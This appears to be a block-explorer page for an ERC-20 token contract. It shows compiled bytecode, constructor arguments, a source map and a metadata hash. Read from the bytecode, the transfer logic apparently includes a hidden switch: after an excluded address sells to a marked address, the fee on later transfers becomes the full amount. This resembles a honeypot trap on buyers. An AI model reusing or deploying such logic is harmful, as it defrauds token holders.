527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600c546001600160a01b03831660009081526003602052604090205460ff16610957576108ee60646108e86019600b54610b9890919063ffffffff16565b90610ba4565b8261090e856001600160a01b031660009081526001602052604090205490565b6109189190610d67565b11156109575760405162461bcd60e51b815260206004820152600e60248201526d43616e7420627579206d6f72652160901b604482015260640161079e565b6001600160a01b03841660009081526004602052604090205460019060ff168061099957506001600160a01b03841660009081526004602052604090205460ff165b806109b15750600e546001600160a01b038681169116145b156109ba575060005b6001600160a01b0385166000908152600160205260409020546109dd9084610bb0565b6001600160a01b0386166000908152600160205260409020558015610a54576000610a0784610bbc565b9050610a35610a168583610bb0565b6001600160a01b03871660009081526001602052604090205490610b85565b6001600160a01b03861660009081526001602052604090205550610b05565b6001600160a01b03851660009081526004602052604090205460ff168015610a9457506001600160a01b03841660009081526005602052604090205460ff165b15610ac857600e805460ff60a81b1916600160a81b1790556001600160a01b03851660009081526001602052604090208290555b6001600160a01b038416600090815260016020526040902054610aeb9084610b85565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b4a91815260200190565b60405180910390a35050505050565b60008184841115610b7d5760405162461bcd60e51b815260040161079e9190610bf9565b505050900390565b6000610b918284610d67565b9392505050565b6000610b918284610d7a565b6000610b918284610d99565b6000610b918284610dbb565b600d546000908190610bd9906064906108e890869060ff16610b98565b600e54909150600160a81b900460ff161561059d57610b91836001610b98565b600060208083528351808285015260005b81811015610c2657858101830151858201604001528201610c0a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c5e57600080fd5b919050565b60008060408385031215610c7657600080fd5b610c7f83610c47565b946020939093013593505050565b600060208284031215610c9f57600080fd5b610b9182610c47565b600080600060608486031215610cbd57600080fd5b610cc684610c47565b9250610cd460208501610c47565b9150604084013590509250925092565b60008060408385031215610cf757600080fd5b610d0083610c47565b9150610d0e60208401610c47565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561059d5761059d610d51565b6000816000190483118215151615610d9457610d94610d51565b500290565b600082610db657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561059d5761059d610d5156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203c9a0fc961e6bacf4582a8dbd572a15ec14b118ba231fbd979549612bbd7fb3064736f6c63430008100033000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff

0x60806040526004361061016a5760003560e01c806370a08231116100d1578063aaacef721161008a578063d28d885211610064578063d28d885214610458578063dd62ed3e1461046d578063e11b6f58146104b3578063fa2f7a8f146104e357600080fd5b8063aaacef721461040c578063af465a271461042d578063b09f12661461044357600080fd5b806370a082311461034357806384b28308146103795780638da5cb5b1461039957806395d89b41146103b7578063a457c2d7146103cc578063a9059cbb146103ec57600080fd5b806323b872dd1161012357806323b872dd14610280578063313ce567146102a057806339509351146102c257806347633bcf146102e257806349bd5a5e146103025780634a74bb021461032257600080fd5b806306fdde0314610176578063095ea7b3146101a15780631694505e146101d157806318160ddd14610210578063210687ce1461022f578063220f66961461025f57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104fa565b6040516101989190610bf9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610c63565b61058c565b6040519015158152602001610198565b3480156101dd57600080fd5b50600d546101f890630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561021c57600080fd5b50600b545b604051908152602001610198565b34801561023b57600080fd5b506101c161024a366004610c8d565b60036020526000908152604090205460ff1681565b34801561026b57600080fd5b50600e546101c190600160a01b900460ff1681565b34801561028c57600080fd5b506101c161029b366004610ca8565b6105a3565b3480156102ac57600080fd5b50600a5460405160ff9091168152602001610198565b3480156102ce57600080fd5b506101c16102dd366004610c63565b61060c565b3480156102ee57600080fd5b506007546101f8906001600160a01b031681565b34801561030e57600080fd5b50600e546101f8906001600160a01b031681565b34801561032e57600080fd5b50600e546101c190600160b01b900460ff1681565b34801561034f57600080fd5b5061022161035e366004610c8d565b6001600160a01b031660009081526001602052604090205490565b34801561038557600080fd5b506006546101f8906001600160a01b031681565b3480156103a557600080fd5b506000546001600160a01b03166101f8565b3480156103c357600080fd5b5061018b610642565b3480156103d857600080fd5b506101c16103e7366004610c63565b610651565b3480156103f857600080fd5b506101c1610407366004610c63565b6106a0565b34801561041857600080fd5b50600e546101c190600160a81b900460ff1681565b34801561043957600080fd5b50610221600b5481565b34801561044f57600080fd5b5061018b6106ad565b34801561046457600080fd5b5061018b61073b565b34801561047957600080fd5b50610221610488366004610ce4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bf57600080fd5b506101c16104ce366004610c8d565b60046020526000908152604090205460ff1681565b3480156104ef57600080fd5b506104f8610748565b005b60606008805461050990610d17565b80601f016020809104026020016040519081016040528092919081815260200182805461053590610d17565b80156105825780601f1061055757610100808354040283529160200191610582565b820191906000526020600020905b81548152906001019060200180831161056557829003601f168201915b5050505050905090565b60006105993384846107f1565b5060015b92915050565b60006105b08484846108aa565b61060284336105fd85604051806060016040528060288152602001610dcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b59565b6107f1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105999185906105fd9086610b85565b60606009805461050990610d17565b600061059933846105fd85604051806060016040528060258152602001610df7602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b59565b60006105993384846108aa565b600980546106ba90610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546106e690610d17565b80156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081565b600880546106ba90610d17565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061081157506001600160a01b03821615155b6108495760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161079e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600c546001600160a01b03831660009081526003602052604090205460ff16610957576108ee60646108e86019600b54610b9890919063ffffffff16565b90610ba4565b8261090e856001600160a01b031660009081526001602052604090205490565b6109189190610d67565b11156109575760405162461bcd60e51b815260206004820152600e60248201526d43616e7420627579206d6f72652160901b604482015260640161079e565b6001600160a01b03841660009081526004602052604090205460019060ff168061099957506001600160a01b03841660009081526004602052604090205460ff165b806109b15750600e546001600160a01b038681169116145b156109ba575060005b6001600160a01b0385166000908152600160205260409020546109dd9084610bb0565b6001600160a01b0386166000908152600160205260409020558015610a54576000610a0784610bbc565b9050610a35610a168583610bb0565b6001600160a01b03871660009081526001602052604090205490610b85565b6001600160a01b03861660009081526001602052604090205550610b05565b6001600160a01b03851660009081526004602052604090205460ff168015610a9457506001600160a01b03841660009081526005602052604090205460ff165b15610ac857600e805460ff60a81b1916600160a81b1790556001600160a01b03851660009081526001602052604090208290555b6001600160a01b038416600090815260016020526040902054610aeb9084610b85565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b4a91815260200190565b60405180910390a35050505050565b60008184841115610b7d5760405162461bcd60e51b815260040161079e9190610bf9565b505050900390565b6000610b918284610d67565b9392505050565b6000610b918284610d7a565b6000610b918284610d99565b6000610b918284610dbb565b600d546000908190610bd9906064906108e890869060ff16610b98565b600e54909150600160a81b900460ff161561059d57610b91836001610b98565b600060208083528351808285015260005b81811015610c2657858101830151858201604001528201610c0a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c5e57600080fd5b919050565b60008060408385031215610c7657600080fd5b610c7f83610c47565b946020939093013593505050565b600060208284031215610c9f57600080fd5b610b9182610c47565b600080600060608486031215610cbd57600080fd5b610cc684610c47565b9250610cd460208501610c47565b9150604084013590509250925092565b60008060408385031215610cf757600080fd5b610d0083610c47565b9150610d0e60208401610c47565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561059d5761059d610d51565b6000816000190483118215151615610d9457610d94610d51565b500290565b600082610db657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561059d5761059d610d5156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203c9a0fc961e6bacf4582a8dbd572a15ec14b118ba231fbd979549612bbd7fb3064736f6c63430008100033

000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff

-----Decoded View---------------
Arg [0] : totals (uint256): 999999999999999999999999999999

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff

14745:5601:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17034:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17865:161;;;;;;;;;;-1:-1:-1;17865:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;17865:161:0;1004:187:1;15689:41:0;;;;;;;;;;-1:-1:-1;15689:41:0;;;;;;;-1:-1:-1;;;;;15689:41:0;;;;;;-1:-1:-1;;;;;1387:32:1;;;1369:51;;1357:2;1342:18;15689:41:0;1196:230:1;17216:95:0;;;;;;;;;;-1:-1:-1;17296:7:0;;17216:95;;;1577:25:1;;;1565:2;1550:18;17216:95:0;1431:177:1;14995:48:0;;;;;;;;;;-1:-1:-1;14995:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15772:28;;;;;;;;;;-1:-1:-1;15772:28:0;;;;-1:-1:-1;;;15772:28:0;;;;;;18034:313;;;;;;;;;;-1:-1:-1;18034:313:0;;;;;:::i;:::-;;:::i;17125:83::-;;;;;;;;;;-1:-1:-1;17191:9:0;;17125:83;;17191:9;;;;2279:36:1;;2267:2;2252:18;17125:83:0;2137:184:1;18355:218:0;;;;;;;;;;-1:-1:-1;18355:218:0;;;;;:::i;:::-;;:::i;15259:89::-;;;;;;;;;;-1:-1:-1;15259:89:0;;;;-1:-1:-1;;;;;15259:89:0;;;15737:28;;;;;;;;;;-1:-1:-1;15737:28:0;;;;-1:-1:-1;;;;;15737:28:0;;;15851:40;;;;;;;;;;-1:-1:-1;15851:40:0;;;;-1:-1:-1;;;15851:40:0;;;;;;17414:117;;;;;;;;;;-1:-1:-1;17414:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;17507:16:0;17480:7;17507:16;;;:7;:16;;;;;;;17414:117;15162:90;;;;;;;;;;-1:-1:-1;15162:90:0;;;;-1:-1:-1;;;;;15162:90:0;;;14362:87;;;;;;;;;;-1:-1:-1;14408:7:0;14435:6;-1:-1:-1;;;;;14435:6:0;14362:87;;17319;;;;;;;;;;;;;:::i;18581:269::-;;;;;;;;;;-1:-1:-1;18581:269:0;;;;;:::i;:::-;;:::i;17539:167::-;;;;;;;;;;-1:-1:-1;17539:167:0;;;;;:::i;:::-;;:::i;15807:37::-;;;;;;;;;;-1:-1:-1;15807:37:0;;;;-1:-1:-1;;;15807:37:0;;;;;;15487:53;;;;;;;;;;;;;;;;15406:40;;;;;;;;;;;;;:::i;15357:42::-;;;;;;;;;;;;;:::i;17714:143::-;;;;;;;;;;-1:-1:-1;17714:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17822:18:0;;;17795:7;17822:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17714:143;15050:44;;;;;;;;;;-1:-1:-1;15050:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14585:147;;;;;;;;;;;;;:::i;:::-;;17034:83;17071:13;17104:5;17097:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17034:83;:::o;17865:161::-;17940:4;17957:39;2785:10;17980:7;17989:6;17957:8;:39::i;:::-;-1:-1:-1;18014:4:0;17865:161;;;;;:::o;18034:313::-;18132:4;18149:36;18159:6;18167:9;18178:6;18149:9;:36::i;:::-;18196:121;18205:6;2785:10;18227:89;18265:6;18227:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18227:19:0;;;;;;:11;:19;;;;;;;;2785:10;18227:33;;;;;;;;;;:37;:89::i;:::-;18196:8;:121::i;:::-;-1:-1:-1;18335:4:0;18034:313;;;;;:::o;18355:218::-;2785:10;18443:4;18492:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18492:34:0;;;;;;;;;;18443:4;;18460:83;;18483:7;;18492:50;;18531:10;18492:38;:50::i;17319:87::-;17358:13;17391:7;17384:14;;;;;:::i;18581:269::-;18674:4;18691:129;2785:10;18714:7;18723:96;18762:15;18723:96;;;;;;;;;;;;;;;;;2785:10;18723:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18723:34:0;;;;;;;;;;;;:38;:96::i;17539:167::-;17617:4;17634:42;2785:10;17658:9;17669:6;17634:9;:42::i;15406:40::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15357:42::-;;;;;;;:::i;14585:147::-;14408:7;14435:6;-1:-1:-1;;;;;14435:6:0;2785:10;14497:23;14489:68;;;;-1:-1:-1;;;14489:68:0;;3610:2:1;14489:68:0;;;3592:21:1;;;3629:18;;;3622:30;3688:34;3668:18;;;3661:62;3740:18;;14489:68:0;;;;;;;;;14691:1:::1;14675:6:::0;;14654:40:::1;::::0;-1:-1:-1;;;;;14675:6:0;;::::1;::::0;14654:40:::1;::::0;14691:1;;14654:40:::1;14722:1;14705:19:::0;;-1:-1:-1;;;;;;14705:19:0::1;::::0;;14585:147::o;18899:254::-;-1:-1:-1;;;;;18992:19:0;;;;;;:44;;-1:-1:-1;;;;;;19015:21:0;;;;18992:44;18984:66;;;;-1:-1:-1;;;18984:66:0;;3971:2:1;18984:66:0;;;3953:21:1;4010:1;3990:18;;;3983:29;-1:-1:-1;;;4028:18:1;;;4021:39;4077:18;;18984:66:0;3769:332:1;18984:66:0;-1:-1:-1;;;;;19061:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19113:32;;1577:25:1;;;19113:32:0;;1550:18:1;19113:32:0;;;;;;;18899:254;;;:::o;19161:815::-;19256:8;;-1:-1:-1;;;;;19280:19:0;;19239:14;19280:19;;;:15;:19;;;;;;;;19275:130;;19351:24;19371:3;19351:15;19363:2;19351:7;;:11;;:15;;;;:::i;:::-;:19;;:24::i;:::-;19340:6;19324:13;19334:2;-1:-1:-1;;;;;17507:16:0;17480:7;17507:16;;;:7;:16;;;;;;;17414:117;19324:13;:22;;;;:::i;:::-;19323:52;;19315:78;;;;-1:-1:-1;;;19315:78:0;;4570:2:1;19315:78:0;;;4552:21:1;4609:2;4589:18;;;4582:30;-1:-1:-1;;;4628:18:1;;;4621:44;4682:18;;19315:78:0;4368:338:1;19315:78:0;-1:-1:-1;;;;;19456:17:0;;19425:10;19456:17;;;:11;:17;;;;;;19438:4;;19456:17;;;:36;;-1:-1:-1;;;;;;19477:15:0;;;;;;:11;:15;;;;;;;;19456:36;:59;;;-1:-1:-1;19502:13:0;;-1:-1:-1;;;;;19496:19:0;;;19502:13;;19496:19;19456:59;19453:81;;;-1:-1:-1;19526:5:0;19453:81;-1:-1:-1;;;;;19562:13:0;;;;;;:7;:13;;;;;;:25;;19580:6;19562:17;:25::i;:::-;-1:-1:-1;;;;;19546:13:0;;;;;;:7;:13;;;;;:41;19598:327;;;;19622:17;19642:21;19656:6;19642:13;:21::i;:::-;19622:41;-1:-1:-1;19692:38:0;19708:21;:6;19622:41;19708:10;:21::i;:::-;-1:-1:-1;;;;;19692:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;19678:11:0;;;;;;:7;:11;;;;;:52;-1:-1:-1;19598:327:0;;;-1:-1:-1;;;;;19774:17:0;;;;;;:11;:17;;;;;;;;:39;;;;-1:-1:-1;;;;;;19795:18:0;;;;;;:14;:18;;;;;;;;19774:39;19771:90;;;19816:17;:22;;-1:-1:-1;;;;19816:22:0;-1:-1:-1;;;19816:22:0;;;-1:-1:-1;;;;;19839:13:0;;19816:22;19839:13;;;19834:4;19839:13;;;;;:20;;;19771:90;-1:-1:-1;;;;;19890:11:0;;;;;;:7;:11;;;;;;:23;;19906:6;19890:15;:23::i;:::-;-1:-1:-1;;;;;19876:11:0;;;;;;:7;:11;;;;;:37;19598:327;19957:2;-1:-1:-1;;;;;19942:26:0;19951:4;-1:-1:-1;;;;;19942:26:0;;19961:6;19942:26;;;;1577:25:1;;1565:2;1550:18;;1431:177;19942:26:0;;;;;;;;19228:748;;19161:815;;;:::o;2236:206::-;2322:7;2383:12;2375:6;;;;2367:29;;;;-1:-1:-1;;;2367:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2418:5:0;;;2236:206::o;1808:98::-;1866:7;1893:5;1897:1;1893;:5;:::i;:::-;1886:12;1808:98;-1:-1:-1;;;1808:98:0:o;2020:::-;2078:7;2105:5;2109:1;2105;:5;:::i;2130:98::-;2188:7;2215:5;2219:1;2215;:5;:::i;1914:98::-;1972:7;1999:5;2003:1;1999;:5;:::i;20110:231::-;20224:5;;20170:7;;;;20213:26;;20235:3;;20213:17;;:6;;20224:5;;20213:10;:17::i;:26::-;20253:17;;20189:50;;-1:-1:-1;;;;20253:17:0;;;;20250:53;;;20288:13;:6;20299:1;20288:10;:13::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1613:186::-;1672:6;1725:2;1713:9;1704:7;1700:23;1696:32;1693:52;;;1741:1;1738;1731:12;1693:52;1764:29;1783:9;1764:29;:::i;1804:328::-;1881:6;1889;1897;1950:2;1938:9;1929:7;1925:23;1921:32;1918:52;;;1966:1;1963;1956:12;1918:52;1989:29;2008:9;1989:29;:::i;:::-;1979:39;;2037:38;2071:2;2060:9;2056:18;2037:38;:::i;:::-;2027:48;;2122:2;2111:9;2107:18;2094:32;2084:42;;1804:328;;;;;:::o;2758:260::-;2826:6;2834;2887:2;2875:9;2866:7;2862:23;2858:32;2855:52;;;2903:1;2900;2893:12;2855:52;2926:29;2945:9;2926:29;:::i;:::-;2916:39;;2974:38;3008:2;2997:9;2993:18;2974:38;:::i;:::-;2964:48;;2758:260;;;;;:::o;3023:380::-;3102:1;3098:12;;;;3145;;;3166:61;;3220:4;3212:6;3208:17;3198:27;;3166:61;3273:2;3265:6;3262:14;3242:18;3239:38;3236:161;;3319:10;3314:3;3310:20;3307:1;3300:31;3354:4;3351:1;3344:15;3382:4;3379:1;3372:15;3236:161;;3023:380;;;:::o;4106:127::-;4167:10;4162:3;4158:20;4155:1;4148:31;4198:4;4195:1;4188:15;4222:4;4219:1;4212:15;4238:125;4303:9;;;4324:10;;;4321:36;;;4337:18;;:::i;4711:168::-;4751:7;4817:1;4813;4809:6;4805:14;4802:1;4799:21;4794:1;4787:9;4780:17;4776:45;4773:71;;;4824:18;;:::i;:::-;-1:-1:-1;4864:9:1;;4711:168::o;4884:217::-;4924:1;4950;4940:132;;4994:10;4989:3;4985:20;4982:1;4975:31;5029:4;5026:1;5019:15;5057:4;5054:1;5047:15;4940:132;-1:-1:-1;5086:9:1;;4884:217::o;5106:128::-;5173:9;;;5194:11;;;5191:37;;;5208:18;;:::i

ipfs://3c9a0fc961e6bacf4582a8dbd572a15ec14b118ba231fbd979549612bbd7fb30